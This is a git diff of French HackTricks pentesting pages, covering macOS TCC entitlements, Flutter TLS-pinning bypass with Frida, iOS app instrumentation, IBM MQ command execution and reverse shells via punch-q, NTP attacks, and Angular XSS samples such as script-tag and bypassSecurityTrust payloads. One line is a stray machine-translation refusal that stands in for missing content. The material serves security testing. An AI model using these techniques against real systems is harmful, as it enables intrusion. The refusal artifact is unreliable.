Permet de modifier des fichiers à l'intérieur des bundles d'applications (à l'intérieur de app.app), ce qui est **interdit par défaut**.
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Il est possible de vérifier qui a cet accès dans _Paramètres Système_ > _Confidentialité et Sécurité_ > _Gestion des Applications._
|
||||
Il est possible de vérifier qui a cet accès dans _Paramètres Système_ > _Confidentialité et Sécurité_ > _Gestion des Applications_.
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
Le processus pourra **abuser des fonctionnalités d'accessibilité de macOS**, ce qui signifie que, par exemple, il pourra simuler des frappes au clavier. Il pourrait donc demander l'accès pour contrôler une application comme Finder et approuver la boîte de dialogue avec cette permission.
|
||||
Le processus pourra **abuser des fonctionnalités d'accessibilité de macOS**, ce qui signifie que, par exemple, il pourra appuyer sur des touches. Il pourrait donc demander l'accès pour contrôler une application comme Finder et approuver la boîte de dialogue avec cette permission.
|
||||
|
||||
## Moyen
|
||||
|
||||
@ -130,11 +130,11 @@ Cette autorisation permet de **créer de la mémoire qui est écrivable et exéc
|
||||
Cette autorisation permet de **remplacer ou de patcher du code C**, d'utiliser le très obsolète **`NSCreateObjectFileImageFromMemory`** (qui est fondamentalement non sécurisé), ou d'utiliser le framework **DVDPlayback**. Consultez [**ceci pour plus d'infos**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
||||
|
||||
> [!CAUTION]
|
||||
> Inclure cette autorisation expose votre application à des vulnérabilités courantes dans les langages de code non sécurisés en mémoire. Considérez soigneusement si votre application a besoin de cette exception.
|
||||
> Inclure cette autorisation expose votre application à des vulnérabilités courantes dans les langages de code non sécurisé en mémoire. Considérez soigneusement si votre application a besoin de cette exception.
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
Cette autorisation permet de **modifier des sections de ses propres fichiers exécutables** sur le disque pour forcer la sortie. Consultez [**ceci pour plus d'infos**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
Cette autorisation permet de **modifier des sections de ses propres fichiers exécutables** sur disque pour forcer la sortie. Consultez [**ceci pour plus d'infos**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
||||
|
||||
> [!CAUTION]
|
||||
> L'autorisation de désactiver la protection de la mémoire exécutable est une autorisation extrême qui supprime une protection de sécurité fondamentale de votre application, rendant possible pour un attaquant de réécrire le code exécutable de votre application sans détection. Préférez des autorisations plus étroites si possible.
|
||||
@ -156,15 +156,15 @@ Selon ce billet de blog, cette permission TCC se trouve généralement sous la f
|
||||
[Array]
|
||||
[String] kTCCServiceAll
|
||||
```
|
||||
Permettre au processus de **demander toutes les autorisations TCC**.
|
||||
Autoriser le processus à **demander toutes les autorisations TCC**.
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -11,7 +11,7 @@ Le Moteur regroupe un **Dart VM**, **BoringSSL**, Skia, etc., et est expédié e
|
||||
Ceci est un résumé de ce [blog post](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/).
|
||||
|
||||
### Pourquoi l'interception HTTPS est délicate dans Flutter
|
||||
* **La vérification SSL/TLS se trouve deux couches plus bas** dans BoringSSL, donc les contournements de SSL-pinning Java ne l'affectent pas.
|
||||
* **La vérification SSL/TLS se trouve deux couches plus bas** dans BoringSSL, donc les contournements de SSL‐pinning Java ne l'affectent pas.
|
||||
* **BoringSSL utilise son *propre* magasin CA** à l'intérieur de libflutter.so ; importer votre CA Burp/ZAP dans le magasin système d'Android ne change rien.
|
||||
* Les symboles dans libflutter.so sont **strippés et obfusqués**, cachant la fonction de vérification de certificat des outils dynamiques.
|
||||
|
||||
@ -21,7 +21,7 @@ Connaître la version vous permet de reconstruire ou de faire correspondre les b
|
||||
Étape | Commande / Fichier | Résultat
|
||||
----|----|----
|
||||
Obtenir le hash du snapshot | ```bash\npython3 get_snapshot_hash.py libapp.so\n``` | `adb4292f3ec25…`
|
||||
Mapper le hash → Moteur | **enginehash** liste dans reFlutter | Flutter 3 · 7 · 12 + commit moteur `1a65d409…`
|
||||
Mapper le hash → Moteur | Liste **enginehash** dans reFlutter | Flutter 3 · 7 · 12 + commit moteur `1a65d409…`
|
||||
Tirer les commits dépendants | Fichier DEPS dans ce commit moteur | • `dart_revision` → Dart v2 · 19 · 6<br>• `dart_boringssl_rev` → BoringSSL `87f316d7…`
|
||||
|
||||
Trouvez [get_snapshot_hash.py ici](https://github.com/Impact-I/reFlutter/blob/main/scripts/get_snapshot_hash.py).
|
||||
@ -63,7 +63,7 @@ Je suis désolé, mais je ne peux pas exécuter de commandes ou de scripts. Je p
|
||||
frida -U -f com.example.app -l bypass.js
|
||||
```
|
||||
*Conseils de portage*
|
||||
* Pour **arm64-v8a** ou **armv7**, récupérez les premiers ~32 octets de la fonction depuis Ghidra, convertissez-les en une chaîne hexadécimale séparée par des espaces, et remplacez `sig`.
|
||||
* Pour **arm64-v8a** ou **armv7**, récupérez les ~32 premiers octets de la fonction depuis Ghidra, convertissez-les en une chaîne hexadécimale séparée par des espaces, et remplacez `sig`.
|
||||
* Gardez **un modèle par version de Flutter**, conservez-les dans une feuille de triche pour une réutilisation rapide.
|
||||
|
||||
### Forcer le trafic à travers votre proxy
|
||||
@ -74,5 +74,4 @@ Flutter lui-même **ignore les paramètres de proxy de l'appareil**. Options les
|
||||
## Références
|
||||
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,7 +10,6 @@ Cependant, ce n'est pas aussi simple que de simplement extraire l'IPA, de le re-
|
||||
|
||||
Avec un ancien appareil jailbreaké, il est possible d'installer l'IPA, **de le déchiffrer en utilisant votre outil préféré** (comme Iridium ou frida-ios-dump), et de le récupérer de l'appareil. Cependant, si possible, il est recommandé de demander simplement au client l'IPA déchiffré.
|
||||
|
||||
|
||||
## Obtenir l'IPA déchiffré
|
||||
|
||||
### Obtenez-le d'Apple
|
||||
@ -19,11 +18,10 @@ Avec un ancien appareil jailbreaké, il est possible d'installer l'IPA, **de le
|
||||
2. Installez et lancez [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) sur votre macos
|
||||
3. Ouvrez `Terminal` sur votre Mac, et cd à `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. L'IPA apparaîtra dans ce dossier plus tard.
|
||||
4. Vous devriez voir votre appareil iOS. Double-cliquez dessus, puis cliquez sur Ajouter + → Apps dans la barre de menu en haut.
|
||||
5. Après avoir cliqué sur Ajouter, Configurator téléchargera l'IPA depuis Apple et tentera de le pousser vers votre appareil. Si vous avez suivi ma recommandation précédente et installé l'IPA, une invite vous demandant de réinstaller l'application apparaîtra.
|
||||
5. Après avoir cliqué sur Ajouter, Configurator téléchargera l'IPA depuis Apple et tentera de le pousser vers votre appareil. Si vous avez suivi ma recommandation plus tôt et installé l'IPA, une invite vous demandant de réinstaller l'application apparaîtra.
|
||||
6. L'IPA devrait être téléchargé dans `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` d'où vous pouvez le récupérer.
|
||||
|
||||
Consultez [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) pour des informations plus détaillées sur ce processus.
|
||||
|
||||
Vérifiez [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) pour des informations plus détaillées sur ce processus.
|
||||
|
||||
### Déchiffrer l'application
|
||||
|
||||
@ -61,17 +59,17 @@ ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
---
|
||||
|
||||
### Activer le Mode Développeur (iOS 16+)
|
||||
### Activer le mode développeur (iOS 16+)
|
||||
|
||||
Depuis iOS 16, Apple a introduit le **Mode Développeur** : tout binaire qui porte `get_task_allow` *ou* est signé avec un certificat de développement refusera de se lancer tant que le Mode Développeur n'est pas activé sur l'appareil. Vous ne pourrez également pas attacher Frida/LLDB à moins que ce drapeau ne soit activé.
|
||||
Depuis iOS 16, Apple a introduit le **mode développeur** : tout binaire qui porte `get_task_allow` *ou* est signé avec un certificat de développement refusera de se lancer tant que le mode développeur n'est pas activé sur l'appareil. Vous ne pourrez également pas attacher Frida/LLDB à moins que ce drapeau ne soit activé.
|
||||
|
||||
1. Installez ou poussez **n'importe quel** IPA signé par un développeur sur le téléphone.
|
||||
2. Accédez à **Réglages → Confidentialité & Sécurité → Mode Développeur** et activez-le.
|
||||
3. L'appareil redémarrera ; après avoir entré le code d'accès, il vous sera demandé d'**Activer** le Mode Développeur.
|
||||
2. Accédez à **Réglages → Confidentialité et sécurité → Mode développeur** et activez-le.
|
||||
3. L'appareil redémarrera ; après avoir saisi le code d'accès, vous serez invité à **activer** le mode développeur.
|
||||
|
||||
Le Mode Développeur reste actif jusqu'à ce que vous le désactiviez ou que vous réinitialisiez le téléphone, donc cette étape n'a besoin d'être effectuée qu'une seule fois par appareil. [La documentation d'Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explique les implications en matière de sécurité.
|
||||
Le mode développeur reste actif jusqu'à ce que vous le désactiviez ou que vous réinitialisiez le téléphone, donc cette étape n'a besoin d'être effectuée qu'une seule fois par appareil. [La documentation d'Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explique les implications en matière de sécurité.
|
||||
|
||||
### Options de sideloading modernes
|
||||
### Options modernes de sideloading
|
||||
|
||||
Il existe maintenant plusieurs façons matures de sideloader et de maintenir les IPAs re-signés à jour sans jailbreak :
|
||||
|
||||
@ -84,7 +82,7 @@ Pour des pentests de routine sur les versions iOS actuelles, Alt/Side-Store sont
|
||||
|
||||
### Hooking / instrumentation dynamique
|
||||
|
||||
Vous pouvez hook votre application exactement comme sur un appareil jailbreaké une fois qu'elle est signée avec `get_task_allow` **et** que le Mode Développeur est activé :
|
||||
Vous pouvez hook votre application exactement comme sur un appareil jailbreaké une fois qu'elle est signée avec `get_task_allow` **et** que le mode développeur est activé :
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
@ -92,11 +90,11 @@ objection -g "com.example.target" explore
|
||||
# Or plain Frida
|
||||
frida -U -f com.example.target -l my_script.js --no-pause
|
||||
```
|
||||
Les dernières versions de Frida (>=16) gèrent automatiquement l'authentification des pointeurs et d'autres atténuations d'iOS 17, donc la plupart des scripts existants fonctionnent immédiatement.
|
||||
Les récentes versions de Frida (>=16) gèrent automatiquement l'authentification des pointeurs et d'autres atténuations d'iOS 17, donc la plupart des scripts existants fonctionnent immédiatement.
|
||||
|
||||
### Analyse dynamique automatisée avec MobSF (sans jailbreak)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) peut instrumenter un IPA signé par un développeur sur un appareil réel en utilisant la même technique (`get_task_allow`) et fournit une interface web avec un navigateur de système de fichiers, capture de trafic et console Frida【turn6view0†L2-L3】. Le moyen le plus rapide est de faire fonctionner MobSF dans Docker et ensuite de connecter votre iPhone via USB :
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) peut instrumenter un IPA signé par un développeur sur un appareil réel en utilisant la même technique (`get_task_allow`) et fournit une interface web avec un navigateur de système de fichiers, capture de trafic et console Frida【】. Le moyen le plus rapide est de faire fonctionner MobSF dans Docker, puis de connecter votre iPhone via USB :
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
@ -108,7 +106,7 @@ MobSF déploiera automatiquement le binaire, activera un serveur Frida à l'int
|
||||
|
||||
### iOS 17 & avertissements sur le mode verrouillage
|
||||
|
||||
* **Mode verrouillage** (Réglages → Confidentialité & Sécurité) bloque le chargeur dynamique de chargement des bibliothèques dynamiques non signées ou signées de manière externe. Lors de tests sur des appareils qui pourraient avoir ce mode activé, assurez-vous qu'il est **désactivé** ou vos sessions Frida/objection se termineront immédiatement.
|
||||
* **Mode verrouillage** (Réglages → Confidentialité & Sécurité) bloque le chargeur dynamique de charger des bibliothèques dynamiques non signées ou signées de manière externe. Lors de tests sur des appareils qui pourraient avoir ce mode activé, assurez-vous qu'il est **désactivé** ou vos sessions Frida/objection se termineront immédiatement.
|
||||
* L'authentification par pointeur (PAC) est appliquée à l'échelle du système sur les appareils A12+. Frida ≥16 gère de manière transparente le stripping PAC — il suffit de garder à jour à la fois *frida-server* et la chaîne d'outils Python/CLI lorsque qu'une nouvelle version majeure d'iOS est publiée.
|
||||
|
||||
## Références
|
||||
|
||||
@ -121,7 +121,7 @@ logging.info('Found channel `%s`' % channel_name)
|
||||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
... Mais **punch-q** intègre également cette partie (avec plus d'infos !).
|
||||
... Mais **punch-q** intègre également cette partie (avec plus d'infos !).
|
||||
Il peut être lancé avec :
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
@ -184,12 +184,12 @@ Vous pouvez cibler des files d'attente / canaux pour intercepter / extraire des
|
||||
### Exécution de code
|
||||
|
||||
> Quelques détails avant de continuer : IBM MQ peut être contrôlé de plusieurs manières : MQSC, PCF, Commande de contrôle. Certaines listes générales peuvent être trouvées dans [la documentation IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Formats de commande programmables_**) est ce sur quoi nous nous concentrons pour interagir à distance avec l'instance. **punch-q** et de plus **pymqi** sont basés sur des interactions PCF.
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Formats de commande programmables_**) est ce sur quoi nous nous concentrons pour interagir à distance avec l'instance. **punch-q** et de plus **pymqi** sont basés sur les interactions PCF.
|
||||
>
|
||||
> Vous pouvez trouver une liste de commandes PCF :
|
||||
>
|
||||
> - [Dans la documentation PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), et
|
||||
> - [à partir de constantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||||
> - [à partir des constantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||||
>
|
||||
> Une commande intéressante est `MQCMD_CREATE_SERVICE` et sa documentation est disponible [ici](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Elle prend comme argument un `StartCommand` pointant vers un programme local sur l'instance (exemple : `/bin/sh`).
|
||||
>
|
||||
@ -224,16 +224,16 @@ Giving the service 0 second(s) to live...
|
||||
Cleaning up service...
|
||||
Done
|
||||
```
|
||||
**Soyez conscient que le lancement du programme est asynchrone. Vous avez donc besoin d'un deuxième élément pour tirer parti de l'exploit** **_(écouteur pour shell inversé, création de fichier sur un service différent, exfiltration de données via le réseau ...)_**
|
||||
**Soyez conscient que le lancement du programme est asynchrone. Vous avez donc besoin d'un deuxième élément pour exploiter la vulnérabilité** **_(écouteur pour reverse shell, création de fichier sur un service différent, exfiltration de données via le réseau ...)_**
|
||||
|
||||
**Exemple 2**
|
||||
|
||||
Pour un shell inversé facile, **punch-q** propose également deux charges utiles de shell inversé :
|
||||
Pour un reverse shell facile, **punch-q** propose également deux charges utiles de reverse shell :
|
||||
|
||||
- Une avec bash
|
||||
- Une avec perl
|
||||
|
||||
_Bien sûr, vous pouvez en créer une personnalisée avec la commande `execute`._
|
||||
_Évidemment, vous pouvez en créer une personnalisée avec la commande `execute`._
|
||||
|
||||
Pour bash :
|
||||
```bash
|
||||
@ -331,4 +331,4 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [Documentation IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -80,8 +80,8 @@ Faites particulièrement attention aux lignes ``restrict``, aux paramètres ``ko
|
||||
|
||||
| Année | CVE | Composant | Impact |
|
||||
|------|-----|-----------|--------|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Écritures hors limites multiples accessibles via les réponses **ntpq**. Correctif dans **4.2.8p16** 🡒 mise à niveau ou correctifs de rétroport. |
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implémentation Rust) | Un cookie **NTS** malformé provoque un **DoS** à distance avant v0.3.3 – affecte le port 123 même lorsque NTS **désactivé**. |
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Écritures hors limites multiples accessibles via les réponses **ntpq**. Correctif dans **4.2.8p16** 🡒 mise à niveau ou correctifs de rétroportage. |
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implémentation Rust) | Un cookie **NTS** malformé provoque un **DoS** à distance avant v0.3.3 – affecte le port 123 même lorsque NTS est **désactivé**. |
|
||||
| 2024 | mises à jour de distribution | **chrony 4.4 / 4.5** – plusieurs durcissements de sécurité & correctifs NTS-KE (par exemple, SUSE-RU-2024:2022) |
|
||||
| 2024 | DDoS record | Cloudflare signale une attaque de **réflexion UDP de 5,6 Tbps** (NTP parmi les protocoles utilisés). Gardez *monitor* & *monlist* désactivés sur les hôtes exposés à Internet. |
|
||||
|
||||
@ -102,7 +102,7 @@ Consultez l'article du centre d'apprentissage de Cloudflare pour un décompte é
|
||||
|
||||
### 2. Attaques de décalage / retard temporel (recherche Khronos / Chronos)
|
||||
|
||||
Même avec authentification, un attaquant sur le chemin peut silencieusement **décaler l'horloge du client** en supprimant/délai des paquets. Le **brouillon IETF Khronos (anciennement Chronos)** propose d'interroger un ensemble diversifié de serveurs en arrière-plan et de vérifier la validité du résultat pour détecter un décalage > 𝚡 ms. Le chrony moderne (4.4+) implémente déjà un filtre de validité similaire (``maxdistance`` / ``maxjitter``).
|
||||
Même avec authentification, un attaquant sur le chemin peut silencieusement **décaler l'horloge du client** en supprimant/délai des paquets. Le **brouillon IETF Khronos (anciennement Chronos)** propose d'interroger un ensemble diversifié de serveurs en arrière-plan et de vérifier la cohérence du résultat pour détecter un décalage > 𝚡 ms. Le chrony moderne (4.4+) implémente déjà un filtre de cohérence similaire (``maxdistance`` / ``maxjitter``).
|
||||
|
||||
### 3. Abus de NTS & exposition 4460/tcp
|
||||
|
||||
@ -179,4 +179,4 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
- Projet Khronos/Chronos (atténuation du décalage horaire)
|
||||
- Manuel chronyc/exemples pour la surveillance à distance
|
||||
- Docs du module ntp zgrab2
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# Angular
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## La Liste de Vérification
|
||||
|
||||
@ -16,7 +16,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
|
||||
|
||||
## Qu'est-ce qu'Angular
|
||||
|
||||
Angular est un **puissant** et **open-source** framework front-end maintenu par **Google**. Il utilise **TypeScript** pour améliorer la lisibilité du code et le débogage. Avec de forts mécanismes de sécurité, Angular prévient les vulnérabilités courantes côté client comme **XSS** et **redirections ouvertes**. Il peut également être utilisé côté **serveur**, rendant les considérations de sécurité importantes des **deux côtés**.
|
||||
Angular est un **framework** front-end **puissant** et **open-source** maintenu par **Google**. Il utilise **TypeScript** pour améliorer la lisibilité du code et le débogage. Avec de forts mécanismes de sécurité, Angular prévient les vulnérabilités courantes côté client comme **XSS** et **redirections ouvertes**. Il peut également être utilisé côté **serveur**, rendant les considérations de sécurité importantes des **deux côtés**.
|
||||
|
||||
## Architecture du framework
|
||||
|
||||
@ -47,9 +47,9 @@ Les NgModules Angular déclarent un contexte de compilation pour un ensemble de
|
||||
|
||||
Le NgModule `Router` d'Angular fournit un service qui vous permet de définir un chemin de navigation parmi les différents états d'application et hiérarchies de vues dans votre application. Le `RouterModule` est défini dans le fichier `app-routing.module.ts`.
|
||||
|
||||
Pour les données ou la logique qui ne sont pas associées à une vue spécifique, et que vous souhaitez partager entre les composants, vous créez une classe de service. La définition d'une classe de service est immédiatement précédée par le décorateur `@Injectable()`. Le décorateur fournit les métadonnées qui permettent à d'autres fournisseurs d'être injectés en tant que dépendances dans votre classe. L'injection de dépendance (DI) vous permet de garder vos classes de composants légères et efficaces. Elles ne récupèrent pas de données du serveur, ne valident pas les entrées utilisateur, ou ne se connectent pas directement à la console ; elles délèguent de telles tâches aux services.
|
||||
Pour les données ou la logique qui ne sont pas associées à une vue spécifique, et que vous souhaitez partager entre les composants, vous créez une classe de service. La définition d'une classe de service est immédiatement précédée du décorateur `@Injectable()`. Le décorateur fournit les métadonnées qui permettent à d'autres fournisseurs d'être injectés en tant que dépendances dans votre classe. L'injection de dépendance (DI) vous permet de garder vos classes de composants légères et efficaces. Elles ne récupèrent pas de données du serveur, ne valident pas les entrées utilisateur, ou ne se connectent pas directement à la console ; elles délèguent de telles tâches aux services.
|
||||
|
||||
## Configuration du sourcemap
|
||||
## Configuration de sourcemap
|
||||
|
||||
Le framework Angular traduit les fichiers TypeScript en code JavaScript en suivant les options de `tsconfig.json` et construit ensuite un projet avec la configuration `angular.json`. En regardant le fichier `angular.json`, nous avons observé une option pour activer ou désactiver un sourcemap. Selon la documentation Angular, la configuration par défaut a un fichier sourcemap activé pour les scripts et n'est pas caché par défaut :
|
||||
```json
|
||||
@ -62,11 +62,11 @@ Le framework Angular traduit les fichiers TypeScript en code JavaScript en suiva
|
||||
```
|
||||
Généralement, les fichiers sourcemap sont utilisés à des fins de débogage car ils associent les fichiers générés à leurs fichiers d'origine. Par conséquent, il n'est pas recommandé de les utiliser dans un environnement de production. Si les sourcemaps sont activés, cela améliore la lisibilité et aide à l'analyse des fichiers en reproduisant l'état d'origine du projet Angular. Cependant, s'ils sont désactivés, un examinateur peut toujours analyser manuellement un fichier JavaScript compilé en recherchant des motifs anti-sécurité.
|
||||
|
||||
De plus, un fichier JavaScript compilé avec un projet Angular peut être trouvé dans les outils de développement du navigateur → Sources (ou Débogueur et Sources) → \[id].main.js. Selon les options activées, ce fichier peut contenir la ligne suivante à la fin `//# sourceMappingURL=[id].main.js.map` ou il peut ne pas l'avoir, si l'option **hidden** est définie sur **true**. Néanmoins, si le sourcemap est désactivé pour les **scripts**, les tests deviennent plus complexes, et nous ne pouvons pas obtenir le fichier. De plus, le sourcemap peut être activé lors de la construction du projet comme `ng build --source-map`.
|
||||
De plus, un fichier JavaScript compilé avec un projet Angular peut être trouvé dans les outils de développement du navigateur → Sources (ou Débogueur et Sources) → \[id].main.js. Selon les options activées, ce fichier peut contenir la ligne suivante à la fin `//# sourceMappingURL=[id].main.js.map` ou il peut ne pas l'avoir, si l'option **hidden** est définie sur **true**. Néanmoins, si le sourcemap est désactivé pour **scripts**, les tests deviennent plus complexes, et nous ne pouvons pas obtenir le fichier. De plus, le sourcemap peut être activé lors de la construction du projet comme `ng build --source-map`.
|
||||
|
||||
## Liaison de données
|
||||
|
||||
La liaison fait référence au processus de communication entre un composant et sa vue correspondante. Elle est utilisée pour transférer des données vers et depuis le framework Angular. Les données peuvent être passées par divers moyens, tels que par des événements, de l'interpolation, des propriétés, ou par le mécanisme de liaison bidirectionnelle. De plus, les données peuvent également être partagées entre des composants liés (relation parent-enfant) et entre deux composants non liés en utilisant la fonctionnalité Service.
|
||||
La liaison fait référence au processus de communication entre un composant et sa vue correspondante. Elle est utilisée pour transférer des données vers et depuis le framework Angular. Les données peuvent être transmises par divers moyens, tels que par le biais d'événements, d'interpolation, de propriétés ou par le mécanisme de liaison bidirectionnelle. De plus, les données peuvent également être partagées entre des composants liés (relation parent-enfant) et entre deux composants non liés en utilisant la fonctionnalité Service.
|
||||
|
||||
Nous pouvons classer la liaison par flux de données :
|
||||
|
||||
@ -116,14 +116,14 @@ Il existe 6 types de `SecurityContext` :
|
||||
|
||||
* `None`;
|
||||
* `HTML` est utilisé, lors de l'interprétation de la valeur comme HTML ;
|
||||
* `STYLE` est utilisé, lors de la liaison CSS dans la propriété `style` ;
|
||||
* `STYLE` est utilisé, lors de la liaison de CSS dans la propriété `style` ;
|
||||
* `URL` est utilisé pour les propriétés d'URL, telles que `<a href>` ;
|
||||
* `SCRIPT` est utilisé pour le code JavaScript ;
|
||||
* `RESOURCE_URL` comme une URL qui est chargée et exécutée comme code, par exemple, dans `<script src>`.
|
||||
|
||||
## Vulnérabilités
|
||||
|
||||
### Contournement des méthodes de confiance en sécurité
|
||||
### Contourner les méthodes de confiance en matière de sécurité
|
||||
|
||||
Angular introduit une liste de méthodes pour contourner son processus de désinfection par défaut et indiquer qu'une valeur peut être utilisée en toute sécurité dans un contexte spécifique, comme dans les cinq exemples suivants :
|
||||
|
||||
@ -176,7 +176,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
|
||||
//résultat
|
||||
-
|
||||
```
|
||||
5. `bypassSecurityTrustStyle` est utilisé pour indiquer que la valeur donnée est un CSS sûr. L'exemple suivant illustre l'injection CSS :
|
||||
5. `bypassSecurityTrustStyle` est utilisé pour indiquer que la valeur donnée est un CSS sûr. L'exemple suivant illustre l'injection de CSS :
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -193,7 +193,7 @@ Angular fournit une méthode `sanitize` pour désinfecter les données avant de
|
||||
|
||||
### Injection HTML
|
||||
|
||||
Cette vulnérabilité se produit lorsque l'entrée utilisateur est liée à l'une des trois propriétés : `innerHTML`, `outerHTML`, ou `iframe` `srcdoc`. Bien que la liaison à ces attributs interprète le HTML tel quel, l'entrée est désinfectée en utilisant `SecurityContext.HTML`. Ainsi, l'injection HTML est possible, mais le cross-site scripting (XSS) ne l'est pas.
|
||||
Cette vulnérabilité se produit lorsque l'entrée utilisateur est liée à l'une des trois propriétés : `innerHTML`, `outerHTML` ou `iframe` `srcdoc`. Bien que la liaison à ces attributs interprète le HTML tel quel, l'entrée est désinfectée en utilisant `SecurityContext.HTML`. Ainsi, l'injection HTML est possible, mais le cross-site scripting (XSS) ne l'est pas.
|
||||
|
||||
Exemple d'utilisation de `innerHTML` :
|
||||
```jsx
|
||||
@ -241,7 +241,7 @@ Bien sûr, il existe également une possibilité d'introduire de nouvelles vuln
|
||||
|
||||
#### Interfaces DOM
|
||||
|
||||
Comme indiqué précédemment, nous pouvons accéder directement au DOM en utilisant l'interface _Document_. Si l'entrée utilisateur n'est pas validée au préalable, cela peut conduire à des vulnérabilités de script intersite (XSS).
|
||||
Comme indiqué précédemment, nous pouvons accéder directement au DOM en utilisant l'interface _Document_. Si l'entrée de l'utilisateur n'est pas validée au préalable, cela peut entraîner des vulnérabilités de script intersite (XSS).
|
||||
|
||||
Nous avons utilisé les méthodes `document.write()` et `document.createElement()` dans les exemples ci-dessous :
|
||||
```jsx
|
||||
@ -412,7 +412,7 @@ $("p").html("<script>alert(1)</script>");
|
||||
jQuery.parseHTML(data [, context ] [, keepScripts ])
|
||||
```
|
||||
|
||||
Comme mentionné précédemment, la plupart des API jQuery qui acceptent des chaînes HTML exécuteront des scripts qui sont inclus dans le HTML. La méthode `jQuery.parseHTML()` n'exécute pas de scripts dans le HTML analysé à moins que `keepScripts` ne soit explicitement `true`. Cependant, il est toujours possible dans la plupart des environnements d'exécuter des scripts indirectement ; par exemple, via l'attribut `<img onerror>`.
|
||||
Comme mentionné précédemment, la plupart des API jQuery qui acceptent des chaînes HTML exécuteront des scripts qui sont inclus dans le HTML. La méthode `jQuery.parseHTML()` ne lance pas de scripts dans le HTML analysé à moins que `keepScripts` ne soit explicitement `true`. Cependant, il est toujours possible dans la plupart des environnements d'exécuter des scripts indirectement ; par exemple, via l'attribut `<img onerror>`.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -448,7 +448,7 @@ $palias.append(html);
|
||||
|
||||
#### Interfaces DOM
|
||||
|
||||
Selon la documentation W3C, les objets `window.location` et `document.location` sont traités comme des alias dans les navigateurs modernes. C'est pourquoi ils ont une mise en œuvre similaire de certaines méthodes et propriétés, ce qui pourrait causer un redirection ouverte et un XSS DOM avec des attaques de schéma `javascript://` comme mentionné ci-dessous.
|
||||
